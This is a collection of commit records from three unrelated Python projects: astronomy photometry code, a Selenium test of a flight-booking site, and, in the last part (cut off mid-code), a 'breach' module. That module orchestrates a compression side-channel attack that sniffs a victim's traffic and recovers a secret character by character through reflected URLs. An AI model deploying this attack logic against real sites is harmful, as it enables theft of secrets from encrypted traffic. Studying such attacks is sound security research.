        dec = wcs.pixelToSky(x, y).getLatitude().asDegrees()
        ra_list.append(ra)
        dec_list.append(dec)
    table['ra'] = ra_list
    table['dec'] = dec_list
    table['x_img'] = table['x_hsc'] - exposure.getX0()
    table['y_img'] = table['y_hsc'] - exposure.getY0()
    return table

def image_threshold(masked_image, thresh=3.0, thresh_type='stdev', npix=1,
                    rgrow=None, isogrow=False, plane_name='', mask=None,
                    clear_mask=True):
    """
    Image thresholding. A bit mask will be set with name 'plane_name'.

    Parameters
    ----------
    masked_image : lsst.afw.image.imageLib.MaskedImageF
        A masked image object.
    thresh : float
        Threshold value.
    thresh_type : string, optional
        Threshold type: stdev, pixel_stdev, bitmask, value,
        or variance.
    npix : int, optional
        Minimum number of touching pixels in an object.
    rgrow : int, optional
        Number of pixels to grow footprints.
    isogrow : bool, optional
        If True, use (expensive) isotropic grow.
    plane_name : string, optional
        Name of bit plane.
    mask : lsst.afw.image.imageLib.MaskU, optional
        Mask to set if not same as in masked_imaged
    clear_mask : bool, optional
        If True, clear the bit plane before thresholding

    Returns
    -------
    fpset : lsst.afw.detection.detectionLib.FootprintSet
        Footprints associated with detected objects.
    """
    mask = masked_image.getMask() if mask is None else mask
    thresh_type = getattr(afwDet.Threshold, thresh_type.upper())
    thresh = afwDet.Threshold(thresh, thresh_type)
    fpset = afwDet.FootprintSet(masked_image, thresh, '', npix)
    if rgrow is not None:
        fpset = afwDet.FootprintSet(fpset, rgrow, isogrow)
    if plane_name:
        mask.addMaskPlane(plane_name)
        if clear_mask:
            mask.clearMaskPlane(mask.getMaskPlane(plane_name))
        fpset.setMask(mask, plane_name)
    return fpset

def photometry(img, sources, zpt_mag=27.0, ell_nsig=4.0,
               circ_radii=[3, 6, 9]):
    """
    Do basic aperture photometry within circular apertures and
    an elliptical aperture. Results will be saved to the
    input table.

    Parameters
    ----------
    img : 2D ndarray
        The image data.
    sources : astropy.table.Table
        Output table from deblend_stamps.
    zpt_mag : float, optional
        The zero point magnitude.
    ell_nsig : float, optional
        Number of sigma for major/minor axis sizes.
    circ_radii : list, optional
        Radii within which to circular aperture photometry.
    """

    pos = [(x, y) for x,y in sources['x_img', 'y_img']]

    mag = []
    for idx in range(len(sources)):
        x, y = pos[idx]
        a, b = sources['semimajor_axis_sigma', 'semiminor_axis_sigma'][idx]
        theta = sources['orientation'][idx]
        aperture = phut.EllipticalAperture((x,y), ell_nsig*a, ell_nsig*b, theta)
        flux = phut.aperture_photometry(img, aperture)['aperture_sum'][0]
        mag.append(zpt_mag - 2.5*np.log10(flux))
    sources['mag_ell'] = mag

    for r in circ_radii:
        r_arcsec = r*utils.pixscale
        apertures = phut.CircularAperture(pos, r=r)
        flux = phut.aperture_photometry(img, apertures)['aperture_sum']
        mag = zpt_mag - 2.5*np.log10(flux)
        sources['mag_circ_{}'.format(r)] = mag
        mu = mag + 2.5*np.log10(np.pi*r_arcsec**2)
        sources['mu_{}'.format(r)] = mu
<commit_msg>plane_name to footprint function<commit_after>from __future__ import division, print_function

import numpy as np
import lsst.afw.image as afwImage
import lsst.afw.detection as afwDet
from astropy.table import Table, vstack
from astropy.convolution import Gaussian2DKernel
import photutils as phut
from . import utils

__all__ = ['associate',
           'deblend_stamps',
           'image_threshold',
           'photometry']

def associate(mask, fpset, r_in=5, r_out=15, max_on_bit=20.,
              min_pix=1, plane_name='THRESH_HIGH', dilate=None):
    """
    Associate footprints in fpset with footprints in mask plane
    'plane_name'. A footprint is associated with an object if
    an on bit falls within an annulus centered with respect to
    all its peaks.

    Parameters
    ----------
    mask : lsst.afw.image.imageLib.MaskU
        Mask object with plane named 'plane_name'.
    fpset : lsst.afw.detection.detectionLib.FootprintSet
        Set of footprints to associate with objects in mask.
    r_in : float, optional
        Inner radius in pixels of the association annulus.
    r_out : float, optional
        Outer radius in pixels of the association annulus.
    max_on_bit : int, optional
        Maximum number of on bits to consider as associated.
    min_pix : int, optional
        Footprints with less pixels will be masked. Set to 1
        to ignore this option.
    plane_name : string, optional
        Name of the bit plane in mask to associate footprints with.
    dilate : int, optional
        If not None, dilate association image with array of shape
        (dilate, dilate).

    Returns
    -------
    seg_assoc : 2D ndarray
        Segmentation image with non-zero values for all footprints
        that are associated with an object in the mask.

    Notes
    -----
    seg_assoc also includes footprints near objects with the
    'BRIGHT_OBJECT' bit set.
    """
    x0, y0 = mask.getXY0()
    # False --> use footprint ids
    seg = fpset.insertIntoImage(False).getArray().copy()
    shape = seg.shape
    seg_assoc = np.zeros(shape, dtype=int)
    for foot in fpset.getFootprints():
        peaks = np.array([[p.getCentroid()[0]-x0,
                           p.getCentroid()[1]-y0] for p in foot.getPeaks()])
        xc, yc = peaks.mean(axis=0)
        rows, cols = utils.annuli(yc, xc, r_in, r_out, shape=shape)
        ann_pix = mask.getArray()[rows, cols]
        on_bits = (ann_pix & mask.getPlaneBitMask(plane_name))!=0
        on_bits |= (ann_pix & mask.getPlaneBitMask('BRIGHT_OBJECT'))!=0
        if np.sum(on_bits) > max_on_bit:
            seg_assoc[seg==foot.getId()] = 1
        elif foot.getNpix() < min_pix:
            seg_assoc[seg==foot.getId()] = 1
    if dilate is not None:
        from scipy import ndimage
        dilator = np.ones((dilate, dilate))
        seg_assoc = ndimage.binary_dilation(seg_assoc, dilator)
        seg_assoc = seg_assoc.astype(int)
    return seg_assoc

def deblend_stamps(exposure, npix=5, thresh_snr=0.5, kern_sig_pix=3,
                   detect_kwargs={}, deblend_kwargs={}):
    """
    Use photutils to deblend sources within "detection" postage stamps.

    Parameters
    ----------
    exposure : lsst.afw.ExposureF
        Exposure object with masks from hugsPipe.run.
    thresh_snr : float, optional
        The signal-to-noise ratio per pixel above the background
        for which to consider a pixel as possibly being part of a source.
    kern_sig_pix : float
        Sigma (in pixels) of Gaussian kernal used to smooth detection image.
    npix : int, optional
        Number of pixels above required to be an object.
    detect_kwargs :  dict, optional
        Kwargs for photutils.detect_sources.
    deblend_kwargs :  dict, optional
        Kwargs for photutils.deblend_sources.

    Returns
    -------
    table : astropy.table.Table
        Source measurements.
    """
    mask = exposure.getMaskedImage().getMask()
    if 'DETECTED_NEGATIVE' in list(mask.getMaskPlaneDict().keys()):
        mask.removeAndClearMaskPlane('DETECTED_NEGATIVE', True)
    planes = mask.getPlaneBitMask(['THRESH_LOW', 'DETECTED'])
    fpset = afwDet.FootprintSet(
        mask, afwDet.Threshold(planes, afwDet.Threshold.BITMASK))
    wcs = exposure.getWcs()
    table = Table()
    kern = Gaussian2DKernel(kern_sig_pix)
    kern.normalize()
    fp_id = 1
    for fp in fpset.getFootprints():
        bbox = fp.getBBox()
        exp = exposure.Factory(exposure, bbox, afwImage.PARENT)
        hfp = afwDet.HeavyFootprintF(fp, exposure.getMaskedImage())
        pix = hfp.getMaskArray()
        bits = [(pix & mask.getPlaneBitMask(['DETECTED'])!=0).sum()>0,
                (pix & mask.getPlaneBitMask(['BRIGHT_OBJECT'])!=0).sum()==0]
        if np.alltrue(bits):
            img = exp.getMaskedImage().getImage().getArray().copy()
            x0, y0 = exp.getXY0()
            thresh = phut.detect_threshold(img,
                                           snr=thresh_snr,
                                           **detect_kwargs)
            seg = phut.detect_sources(img, thresh, npixels=npix,
                                      filter_kernel=kern)
            if seg.nlabels==0:
                continue
            seg_db = phut.deblend_sources(
                img, seg, npixels=npix,
                filter_kernel=kern, **deblend_kwargs)
            props = phut.source_properties(img, seg_db)
            props = phut.properties_table(props)
            props['x_hsc'] = props['xcentroid'] + x0
            props['y_hsc'] = props['ycentroid'] + y0
            props['fp_id'] = [fp_id]*len(props)
            fp_id += 1
            if len(props)>1:
                props['is_deblended'] = [True]*len(props)
            else:
                props['is_deblended'] = False
            table = vstack([table, props])
    table['id'] = np.arange(1, len(table)+1)
    remove_cols = [
        'ra_icrs_centroid', 'dec_icrs_centroid', 'source_sum_err',
        'background_sum', 'background_mean', 'background_at_centroid']
    table.remove_columns(remove_cols)
    ra_list = []
    dec_list = []
    for x, y in table['x_hsc', 'y_hsc']:
        ra = wcs.pixelToSky(x, y).getLongitude().asDegrees()
        dec = wcs.pixelToSky(x, y).getLatitude().asDegrees()
        ra_list.append(ra)
        dec_list.append(dec)
    table['ra'] = ra_list
    table['dec'] = dec_list
    table['x_img'] = table['x_hsc'] - exposure.getX0()
    table['y_img'] = table['y_hsc'] - exposure.getY0()
    return table

def image_threshold(masked_image, thresh=3.0, thresh_type='stdev', npix=1,
                    rgrow=None, isogrow=False, plane_name='', mask=None,
                    clear_mask=True):
    """
    Image thresholding. A bit mask will be set with name 'plane_name'.

    Parameters
    ----------
    masked_image : lsst.afw.image.imageLib.MaskedImageF
        A masked image object.
    thresh : float
        Threshold value.
    thresh_type : string, optional
        Threshold type: stdev, pixel_stdev, bitmask, value,
        or variance.
    npix : int, optional
        Minimum number of touching pixels in an object.
    rgrow : int, optional
        Number of pixels to grow footprints.
    isogrow : bool, optional
        If True, use (expensive) isotropic grow.
    plane_name : string, optional
        Name of bit plane.
    mask : lsst.afw.image.imageLib.MaskU, optional
        Mask to set if not same as in masked_imaged
    clear_mask : bool, optional
        If True, clear the bit plane before thresholding

    Returns
    -------
    fpset : lsst.afw.detection.detectionLib.FootprintSet
        Footprints associated with detected objects.
    """
    mask = masked_image.getMask() if mask is None else mask
    thresh_type = getattr(afwDet.Threshold, thresh_type.upper())
    thresh = afwDet.Threshold(thresh, thresh_type)
    fpset = afwDet.FootprintSet(masked_image, thresh, plane_name, npix)
    if rgrow is not None:
        fpset = afwDet.FootprintSet(fpset, rgrow, isogrow)
    if plane_name:
        mask.addMaskPlane(plane_name)
        if clear_mask:
            mask.clearMaskPlane(mask.getMaskPlane(plane_name))
        fpset.setMask(mask, plane_name)
    return fpset

def photometry(img, sources, zpt_mag=27.0, ell_nsig=4.0,
               circ_radii=[3, 6, 9]):
    """
    Do basic aperture photometry within circular apertures and
    an elliptical aperture. Results will be saved to the
    input table.

    Parameters
    ----------
    img : 2D ndarray
        The image data.
    sources : astropy.table.Table
        Output table from deblend_stamps.
    zpt_mag : float, optional
        The zero point magnitude.
    ell_nsig : float, optional
        Number of sigma for major/minor axis sizes.
    circ_radii : list, optional
        Radii within which to circular aperture photometry.
    """

    pos = [(x, y) for x,y in sources['x_img', 'y_img']]

    mag = []
    for idx in range(len(sources)):
        x, y = pos[idx]
        a, b = sources['semimajor_axis_sigma', 'semiminor_axis_sigma'][idx]
        theta = sources['orientation'][idx]
        aperture = phut.EllipticalAperture((x,y), ell_nsig*a, ell_nsig*b, theta)
        flux = phut.aperture_photometry(img, aperture)['aperture_sum'][0]
        mag.append(zpt_mag - 2.5*np.log10(flux))
    sources['mag_ell'] = mag

    for r in circ_radii:
        r_arcsec = r*utils.pixscale
        apertures = phut.CircularAperture(pos, r=r)
        flux = phut.aperture_photometry(img, apertures)['aperture_sum']
        mag = zpt_mag - 2.5*np.log10(flux)
        sources['mag_circ_{}'.format(r)] = mag
        mu = mag + 2.5*np.log10(np.pi*r_arcsec**2)
        sources['mu_{}'.format(r)] = mu
<|endoftext|>


<commit_before>#-*- coding: utf-8 -*-
#!/usr/bin/env python
"""
This is a simple script for tests esky.pl website functionality
by Selenium/Webdriver Python module.
"""
from datetime import date
from time import sleep

from dateutil.relativedelta import relativedelta
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions
from selenium.webdriver.common.by import By

MONTHS_PL = {1 : u"styczeń",
             2 : u"luty",
             3 : u"marzec",
             4 : u"kwiecień",
             5 : u"maj",
             6 : u"czerwiec",
             7 : u"lipiec",
             8 : u"sierpień",
             9 : u"wrzesień",
             10 : u"październik",
             11 : u"listopad",
             12 : u"grudzień"
            }

def click_date_on_calendar(calendar_div, dt_date):
    """
    Function for click date on pop up calendar.
    Params:
    # calendar_div - html div contain pop up calendar
    # dt_date - datetime instance of date
    """
    calendar_year = calendar_div.find_element_by_css_selector("span.ui-datepicker-year").text
    calendar_month = calendar_div.find_element_by_css_selector("span.ui-datepicker-month").text
    while not (calendar_month.lower() == MONTHS_PL[dt_date.month]\
               and int(calendar_year) == dt_date.year):
        calendar_div.find_element_by_xpath("./div/a[@data-handler='next']").click()
        sleep(1)
        calendar_year = calendar_div.find_element_by_css_selector("span.ui-datepicker-year").text
        calendar_month = calendar_div.find_element_by_css_selector("span.ui-datepicker-month").text
    for link in  calendar_div.find_elements_by_xpath('./table/tbody/tr/td/a'):
        if int(link.text) == dt_date.day:
            link.click()
            break

def fill_flights_form(flights_form, departure, arrival, dep_date):
    """
    Function for fill up flights form.
    With departure, arrival and departure date (dep_date) as params.
    Return date is equal to departure date plus 3 months.
    """
    departure_input = flights_form.find_element_by_id("departureRoundtrip0")
    departure_input.clear()
    departure_input.send_keys(departure)
    arrival_input = flights_form.find_element_by_id("arrivalRoundtrip0")
    arrival_input.clear()
    arrival_input.send_keys(arrival)
    dep_date_input = flights_form.find_element_by_id("departureDateRoundtrip0")
    dep_date_input.click()
    sleep(1)
    click_date_on_calendar(flights_form.find_element_by_xpath("//*[@id='ui-datepicker-div']"),
                           dep_date
                           )

    return_date_input = flights_form.find_element_by_id("departureDateRoundtrip1")
    return_date_input.click()
    click_date_on_calendar(flights_form.find_element_by_xpath("//*[@id='ui-datepicker-div']"),
                           dep_date + relativedelta(months=+3)
                           )
def click_filter(filters_div, filter_grp_id, filter_id):
    filter_container = filters_div.find_element_by_xpath("./div/div[@data-dropdown-content-id='%s']" % filter_grp_id)
    filter = filters_div.find_element_by_id(filter_id)
    if not filter_container.is_displayed():
        filters_div.find_element_by_xpath("./div/a[@data-content-id='%s']" % filter_grp_id).click()
    filter.click()

def main():
    """
    Main program for realization of esky.pl task
    with guidelines from eskypl_guidelines_in_polish.txt.
    """
    # 1.       Otworzenie strony
    main_url = "http://www.esky.pl/"
    esky_wd = webdriver.Firefox()
    print "Task #1: opening website: %s" % main_url
    esky_wd.get(main_url)
    # 2.       Pobranie i wyświetlenie w konsoli wartości ciastka esky_TCSI
    cookie_name = "esky_TCSI"
    print "Task #2: display value of cookie %s: %s" % (
        cookie_name, esky_wd.get_cookie(cookie_name)["value"]
    )
    # 3.       Wypełnienie danych formularza wyszukiwania
    #(parametryzowane destynacje oraz daty wylotu/powrotu wyliczane zawsze 3mce do przodu)
    flights_form = esky_wd.find_element_by_css_selector("form.flights-qsf")
    print "Task #3: fill up flights form from %s" % main_url
    fill_flights_form(flights_form,
                      departure="Hamburg",
                      arrival="Katowice",
                      dep_date=date.today()+relativedelta(days=+10)
                      )
    flights_form.submit()
    # 4.       Wykonanie prostego filtrowania na wynikach wyszukiwania (dowolna kombinacja)
    wait = WebDriverWait(esky_wd, 10)
    filters_div = wait.until(
        expected_conditions.visibility_of_element_located((By.ID, "filters"))
    )
    filters_div.find_element_by_xpath("./div/span[@class='filters-text']").click() #show filters
    print "Show filters"
    click_filter(filters_div,
                 filter_grp_id = 'filterConnections',
                 filter_id = "filterConnections_opt_1")
    click_filter(filters_div,
                 filter_grp_id = 'filterDepartureTime0',
                 filter_id = "filterDepartureTime1_opt_12_18")
    click_filter(filters_div,
                 filter_grp_id = 'filterDepartureTime0',
                 filter_id = "filterDepartureTime0_opt_12_18")
    click_filter(filters_div,
                 filter_grp_id = 'filterDepartureTime0',
                 filter_id = "filterDepartureTime0_opt_12_18")
    print "Task #4: using filters on results website"
    sleep(3)

    # 5.       Pobieranie kilku istotnych elementów pojedynczego lotu

    # 6.       Przejście na kolejny ekran płatności i wypełnienie formularza dowolnymi wartościami
    # spełniającymi reguły walidacji

    # 7.       Wykonanie kilku asercji, biorąc pod uwagę dane uzyskane na formularzu wyszukiwania,
    # wynikach i ekranie płatności.

    esky_wd.close()

if __name__ == "__main__":
    print "START"
    main()
    print "STOP"<commit_msg>preparing for Task #6 - fill up payments form<commit_after>#-*- coding: utf-8 -*-
#!/usr/bin/env python
"""
This is a simple script for tests esky.pl website functionality
by Selenium/Webdriver Python module.
"""
from datetime import date
from time import sleep
from random import sample

from dateutil.relativedelta import relativedelta
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions
from selenium.webdriver.common.by import By

MONTHS_PL = {1 : u"styczeń",
             2 : u"luty",
             3 : u"marzec",
             4 : u"kwiecień",
             5 : u"maj",
             6 : u"czerwiec",
             7 : u"lipiec",
             8 : u"sierpień",
             9 : u"wrzesień",
             10 : u"październik",
             11 : u"listopad",
             12 : u"grudzień"
            }

def click_date_on_calendar(calendar_div, dt_date):
    """
    Function for click date on pop up calendar.
    Params:
    # calendar_div - html div contain pop up calendar
    # dt_date - datetime instance of date
    """
    calendar_year = calendar_div.find_element_by_css_selector("span.ui-datepicker-year").text
    calendar_month = calendar_div.find_element_by_css_selector("span.ui-datepicker-month").text
    while not (calendar_month.lower() == MONTHS_PL[dt_date.month]\
               and int(calendar_year) == dt_date.year):
        calendar_div.find_element_by_xpath("./div/a[@data-handler='next']").click()
        sleep(1)
        calendar_year = calendar_div.find_element_by_css_selector("span.ui-datepicker-year").text
        calendar_month = calendar_div.find_element_by_css_selector("span.ui-datepicker-month").text
    for link in  calendar_div.find_elements_by_xpath('./table/tbody/tr/td/a'):
        if int(link.text) == dt_date.day:
            link.click()
            break

def fill_flights_form(flights_form, departure, arrival, dep_date):
    """
    Function for fill up flights form.
    With departure, arrival and departure date (dep_date) as params.
    Return date is equal to departure date plus 3 months.
    """
    departure_input = flights_form.find_element_by_id("departureRoundtrip0")
    departure_input.clear()
    departure_input.send_keys(departure)
    arrival_input = flights_form.find_element_by_id("arrivalRoundtrip0")
    arrival_input.clear()
    arrival_input.send_keys(arrival)
    dep_date_input = flights_form.find_element_by_id("departureDateRoundtrip0")
    dep_date_input.click()
    sleep(1)
    click_date_on_calendar(flights_form.find_element_by_xpath("//*[@id='ui-datepicker-div']"),
                           dep_date
                           )

    return_date_input = flights_form.find_element_by_id("departureDateRoundtrip1")
    return_date_input.click()
    click_date_on_calendar(flights_form.find_element_by_xpath("//*[@id='ui-datepicker-div']"),
                           dep_date + relativedelta(months=+3)
                           )

def click_filter(filters_div, filter_grp_id, filter_id):
    """
    Function for select/deselect chosen filter by filter_id:
    Params:
    # filters_div - holder of all filters as selenium/webdriver object
    # filter_grp_id - id of group of filter contain choosen one
    """
    filter_container = filters_div.find_element_by_xpath("./div/div[@data-dropdown-content-id='%s']" % filter_grp_id)
    filter = filters_div.find_element_by_id(filter_id)
    if not filter_container.is_displayed():
        filters_div.find_element_by_xpath("./div/a[@data-content-id='%s']" % filter_grp_id).click()
    filter.click()

def fill_payments_form(payments_form, first_name, last_name, gender, phone_number, email_address):
    """
    Function for fill up payments form.
    With first_name, last_name, gender, phone_number
     and email_address as params.
    gender value "F" means female and "M" means male
    """
    _genders = ["F", "M"]
    if not gender in _genders:
        raise Exception('Bad gender value %s - please choose from %s' % (gender, _genders))

def main():
    """
    Main program for realization of esky.pl task
    with guidelines from eskypl_guidelines_in_polish.txt.
    """
    # 1.       Otworzenie strony
    main_url = "http://www.esky.pl/"
    esky_wd = webdriver.Firefox()
    print "Task #1: opening website: %s" % main_url
    esky_wd.get(main_url)
    # 2.       Pobranie i wyświetlenie w konsoli wartości ciastka esky_TCSI
    cookie_name = "esky_TCSI"
    print "Task #2: display value of cookie %s: %s" % (
        cookie_name, esky_wd.get_cookie(cookie_name)["value"]
    )
    # 3.       Wypełnienie danych formularza wyszukiwania
    #(parametryzowane destynacje oraz daty wylotu/powrotu wyliczane zawsze 3mce do przodu)
    flights_form = esky_wd.find_element_by_css_selector("form.flights-qsf")
    print "Task #3: fill up flights form from %s" % main_url
    fill_flights_form(flights_form,
                      departure="Hamburg",
                      arrival="Katowice",
                      dep_date=date.today()+relativedelta(days=+10)
                      )
    flights_form.submit()
    # 4.       Wykonanie prostego filtrowania na wynikach wyszukiwania (dowolna kombinacja)
    wait = WebDriverWait(esky_wd, 10)
    filters_div = wait.until(
        expected_conditions.visibility_of_element_located((By.ID, "filters"))
    )
    filters_div.find_element_by_xpath("./div/span[@class='filters-text']").click() #show filters
    print "Show filters"
    click_filter(filters_div,
                 filter_grp_id = 'filterConnections',
                 filter_id = "filterConnections_opt_1")
    click_filter(filters_div,
                 filter_grp_id = 'filterDepartureTime0',
                 filter_id = "filterDepartureTime1_opt_12_18")
    click_filter(filters_div,
                 filter_grp_id = 'filterDepartureTime0',
                 filter_id = "filterDepartureTime0_opt_12_18")
    click_filter(filters_div,
                 filter_grp_id = 'filterDepartureTime0',
                 filter_id = "filterDepartureTime0_opt_12_18")
    print "Task #4: using filters on results website"
    # 5.       Pobieranie kilku istotnych elementów pojedynczego lotu
    available_flights_div = wait.until(
        expected_conditions.visibility_of_element_located((By.ID, "available-flights"))
    )
    available_flights = available_flights_div.find_elements_by_tag_name("form")
    # 6.       Przejście na kolejny ekran płatności i wypełnienie formularza dowolnymi wartościami
    # spełniającymi reguły walidacji
    sample(available_flights, 1)[0].find_element_by_xpath("./div[1]/a").click()
    payment_website_title = u"eSky: Hamburg - Katowice"
    wait.until(
        expected_conditions.title_is(payment_website_title)
    )
    assert esky_wd.title == payment_website_title
    payments_form = None
    fill_payments_form(payments_form,
                       first_name="John",
                       last_name="Doe",
                       gender="M",
                       phone_number=789456123,
                       email_address="john.doe@hotmail.com")
    print "Task #6 fill up payments form"
    # 7.       Wykonanie kilku asercji, biorąc pod uwagę dane uzyskane na formularzu wyszukiwania,
    # wynikach i ekranie płatności.

#     esky_wd.close()

if __name__ == "__main__":
    print "START"
    main()
    print "STOP"<|endoftext|>


<commit_before>from django.utils import timezone
from django.db.models import Max

from breach.analyzer import decide_next_world_state
from breach.models import SampleSet, Round
from breach.sniffer import Sniffer

SAMPLES_PER_SAMPLESET = 100

class Strategy(object):
    def __init__(self, victim):
        self._victim = victim
        self._sniffer = Sniffer(victim.snifferendpoint)

        # Extract maximum round index for the current victim.
        current_round_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max']

        if not current_round_index:
            current_round_index = 1
            self._analyzed = True
            self.begin_attack()

        self._round = Round.objects.filter(victim=self._victim, index=current_round_index)[0]
        self._analyzed = False

    def _build_candidates(self, state):
        '''Given a state of the world, produce a list of candidate alphabets.'''

        candidate_alphabet_cardinality = len(state['knownalphabet']) / 2

        bottom_half = state['knownalphabet'][:candidate_alphabet_cardinality]
        top_half = state['knownalphabet'][candidate_alphabet_cardinality:]

        return [bottom_half, top_half]

    def _get_first_round_state(self):
        return {
            'knownsecret': self._victim.target.prefix,
            'candidatealphabet': self._victim.target.alphabet,
            'knownalphabet': self._victim.target.alphabet
        }

    def _get_unstarted_samplesets(self):
        return SampleSet.objects.filter(
            round=self._round,
            started=None
        )

    def _reflection(self, sampleset):
        # We use '^' as a separator symbol and we assume it is not part of the
        # secret. We also assume it will not be in the content.

        sentinel = '^'

        assert(sentinel not in self._victim.target.alphabet)

        huffman_complement = set(self._victim.target.alphabet) - set(sampleset.candidatealphabet)

        candidate_secrets = set()

        for letter in sampleset.candidatealphabet:
            candidate_secret = self._round.knownsecret + letter
            candidate_secrets.add(candidate_secret)

        reflected_data = [
            '',
            sentinel.join(candidate_secrets),
            sentinel.join(huffman_complement),
            ''
        ]

        reflection = sentinel.join(reflected_data)

        return reflection

    def _sampleset_to_work(self, sampleset):
        return {
            'url': self._victim.target.endpoint % self._reflection(sampleset),
            'amount': SAMPLES_PER_SAMPLESET,
            'timeout': 0
        }

    def get_work(self):
        '''Produces work for the victim.

        Pre-condition: There is already work to do.'''

        # TODO: collect sniffid
        self._sniffer.start(self._victim.sourceip, self._victim.target.host)

        unstarted_samplesets = self._get_unstarted_samplesets()

        assert(unstarted_samplesets)

        sampleset = unstarted_samplesets[0]
        sampleset.started = timezone.now()
        sampleset.save()

        return self._sampleset_to_work(sampleset)

    def _get_current_sampleset(self):
        started_samplesets = SampleSet.objects.filter(round=self._round).exclude(started=None)

        assert(len(started_samplesets) == 1)

        sampleset = started_samplesets[0]

        return sampleset

    def _mark_current_work_completed(self):
        sampleset = self._get_current_sampleset()
        sampleset.completed = timezone.now()
        sampleset.success = True
        sampleset.save()

    def _analyze_current_round(self):
        '''Analyzes the current round samplesets to extract a decision.'''

        current_round_samplesets = SampleSet.objects.filter(round=self._round)
        self._decision = decide_next_world_state(current_round_samplesets)
        self._analyzed = True

    def _round_is_completed(self):
        '''Checks if current round is completed.'''

        assert(self._analyzed)

        # Do we need to collect more samplesets to build up confidence?
        return self._decision['confidence'] > 1

    def _create_next_round(self):
        assert(self._round_is_completed())

        self._create_round(self._decision['state'])

    def _create_round(self, state):
        '''Creates a new round based on the analysis of the current round.'''

        assert(self._analyzed)

        candidate_alphabets = self._build_candidates(state)

        # This next round could potentially be the final round.
        # A final round has the complete secret stored in knownsecret.
        next_round = Round(
            victim=self._victim,
            index=self._round.index + 1 if hasattr(self, '_round') else 1,
            roundcardinality=max(map(len, candidate_alphabets)),
            amount=SAMPLES_PER_SAMPLESET,
            knownalphabet=state['knownalphabet'],
            knownsecret=state['knownsecret']
        )
        next_round.save()

        self._round = next_round

    def _create_round_samplesets(self):
        state = {
            'knownalphabet': self.round.knownalphabet,
            'knownsecret': self.round.knownsecret
        }

        candidate_alphabets = self._build_candidates(state)

        a = SampleSet(
            round=self._round,
            candidatealphabet=candidate_alphabets[0]
        )
        b = SampleSet(
            round=self._round,
            candidatealphabet=candidate_alphabets[1]
        )

    def _attack_is_completed(self):
        return len(self._round.knownsecret) == self._victim.target.secretlength

    def work_completed(self):
        '''Receives and consumes work completed from the victim, analyzes
        the work, and returns True if the attack is complete (victory),
        otherwise returns False if more work is needed.

        It also creates the new work that is needed.

        Post-condition: Either the attack is completed, or there is work to
        do (there are unstarted samplesets in the database).'''

        # TODO: Call sniffer to obtain sniffer data and stop data collection
        self._mark_current_work_completed()

        round_samplesets = SampleSet.objects.filter(round=self._round)
        unstarted_samplesets = round_samplesets.filter(started=None)

        if unstarted_samplesets:
            # Batch is not yet complete, we need to collect more samplesets
            # that have already been created for this batch.
            return False

        # All batches are completed.
        self._analyze_current_round()

        if self._round_is_completed():
            # Advance to the next round.
            self._create_next_round()

            if self._attack_is_completed():
                return True

        # Not enough confidence, we need to create more samplesets to be
        # collected for this round.
        self._create_round_samplesets()

        return False

    def begin_attack(self):
        self._create_round(self._get_first_round_state())
<commit_msg>Save newly created samplesets to db<commit_after>from django.utils import timezone
from django.db.models import Max

from breach.analyzer import decide_next_world_state
from breach.models import SampleSet, Round
from breach.sniffer import Sniffer

SAMPLES_PER_SAMPLESET = 100

class Strategy(object):
    def __init__(self, victim):
        self._victim = victim
        self._sniffer = Sniffer(victim.snifferendpoint)

        # Extract maximum round index for the current victim.
        current_round_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max']

        if not current_round_index:
            current_round_index = 1
            self._analyzed = True
            self.begin_attack()

        self._round = Round.objects.filter(victim=self._victim, index=current_round_index)[0]
        self._analyzed = False

    def _build_candidates(self, state):
        '''Given a state of the world, produce a list of candidate alphabets.'''

        candidate_alphabet_cardinality = len(state['knownalphabet']) / 2

        bottom_half = state['knownalphabet'][:candidate_alphabet_cardinality]
        top_half = state['knownalphabet'][candidate_alphabet_cardinality:]

        return [bottom_half, top_half]

    def _get_first_round_state(self):
        return {
            'knownsecret': self._victim.target.prefix,
            'candidatealphabet': self._victim.target.alphabet,
            'knownalphabet': self._victim.target.alphabet
        }

    def _get_unstarted_samplesets(self):
        return SampleSet.objects.filter(
            round=self._round,
            started=None
        )

    def _reflection(self, sampleset):
        # We use '^' as a separator symbol and we assume it is not part of the
        # secret. We also assume it will not be in the content.

        sentinel = '^'

        assert(sentinel not in self._victim.target.alphabet)

        huffman_complement = set(self._victim.target.alphabet) - set(sampleset.candidatealphabet)

        candidate_secrets = set()

        for letter in sampleset.candidatealphabet:
            candidate_secret = self._round.knownsecret + letter
            candidate_secrets.add(candidate_secret)

        reflected_data = [
            '',
            sentinel.join(candidate_secrets),
            sentinel.join(huffman_complement),
            ''
        ]

        reflection = sentinel.join(reflected_data)

        return reflection

    def _sampleset_to_work(self, sampleset):
        return {
            'url': self._victim.target.endpoint % self._reflection(sampleset),
            'amount': SAMPLES_PER_SAMPLESET,
            'timeout': 0
        }

    def get_work(self):
        '''Produces work for the victim.

        Pre-condition: There is already work to do.'''

        # TODO: collect sniffid
        self._sniffer.start(self._victim.sourceip, self._victim.target.host)

        unstarted_samplesets = self._get_unstarted_samplesets()

        assert(unstarted_samplesets)

        sampleset = unstarted_samplesets[0]
        sampleset.started = timezone.now()
        sampleset.save()

        return self._sampleset_to_work(sampleset)

    def _get_current_sampleset(self):
        started_samplesets = SampleSet.objects.filter(round=self._round).exclude(started=None)

        assert(len(started_samplesets) == 1)

        sampleset = started_samplesets[0]

        return sampleset

    def _mark_current_work_completed(self):
        sampleset = self._get_current_sampleset()
        sampleset.completed = timezone.now()
        sampleset.success = True
        sampleset.save()

    def _analyze_current_round(self):
        '''Analyzes the current round samplesets to extract a decision.'''

        current_round_samplesets = SampleSet.objects.filter(round=self._round)
        self._decision = decide_next_world_state(current_round_samplesets)
        self._analyzed = True

    def _round_is_completed(self):
        '''Checks if current round is completed.'''

        assert(self._analyzed)

        # Do we need to collect more samplesets to build up confidence?
        return self._decision['confidence'] > 1

    def _create_next_round(self):
        assert(self._round_is_completed())

        self._create_round(self._decision['state'])

    def _create_round(self, state):
        '''Creates a new round based on the analysis of the current round.'''

        assert(self._analyzed)

        candidate_alphabets = self._build_candidates(state)

        # This next round could potentially be the final round.
        # A final round has the complete secret stored in knownsecret.
        next_round = Round(
            victim=self._victim,
            index=self._round.index + 1 if hasattr(self, '_round') else 1,
            roundcardinality=max(map(len, candidate_alphabets)),
            amount=SAMPLES_PER_SAMPLESET,
            knownalphabet=state['knownalphabet'],
